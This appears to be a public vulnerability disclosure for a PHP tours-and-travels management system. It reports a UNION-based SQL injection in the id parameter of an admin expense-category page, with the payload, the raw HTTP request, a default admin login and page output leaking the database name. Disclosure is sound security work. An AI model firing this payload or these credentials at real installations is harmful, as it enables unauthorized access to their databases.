

main

...

Bug\_report / vendors / mayuri\_k / online-tours-travels-management-system / SQLi-3.md



WYB-signal Create SQLi-3.md

History

1 contributor

31 lines (21 sloc) | 1.15 KB

...

# Online Tours & Travels management system v1.0 by mayuri\_k has SQL injection

BUG\_Author: Wybsignal

Login account: [mayuri.infospace@gmail.com](mailto:mayuri.infospace@gmail.com)/admin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /tour/admin/update\_expense\_category.php

Vulnerability location: /tour/admin/update\_expense\_category.php?id=, id

dbname = tour1

[+] Payload: /tour/admin/update\_expense\_category.php?

id=1%27%20union%20select%201,database(),3--+ // Leak place ---> id

```
GET /tour/admin/update_expense_category.php?id=1%27%20union%20select%201,database(),
```

```
Host: 192.168.1.19
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

Accept: **text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8**

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=g29omi7f91g3h7ud1uhq6rbmkv

Connection: close

Load URL Split URL Execute

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace All

homepage

HOME

- Dashboard
- Travellers
- Bookings
- Package Management
- Tax Management
- Expense Management
- Finance
- Currency
- Payment Types

### Update Expense Category Details

#### Expense Category Info

Expense Name

tour1

Status

☐ Active ☐ Deactive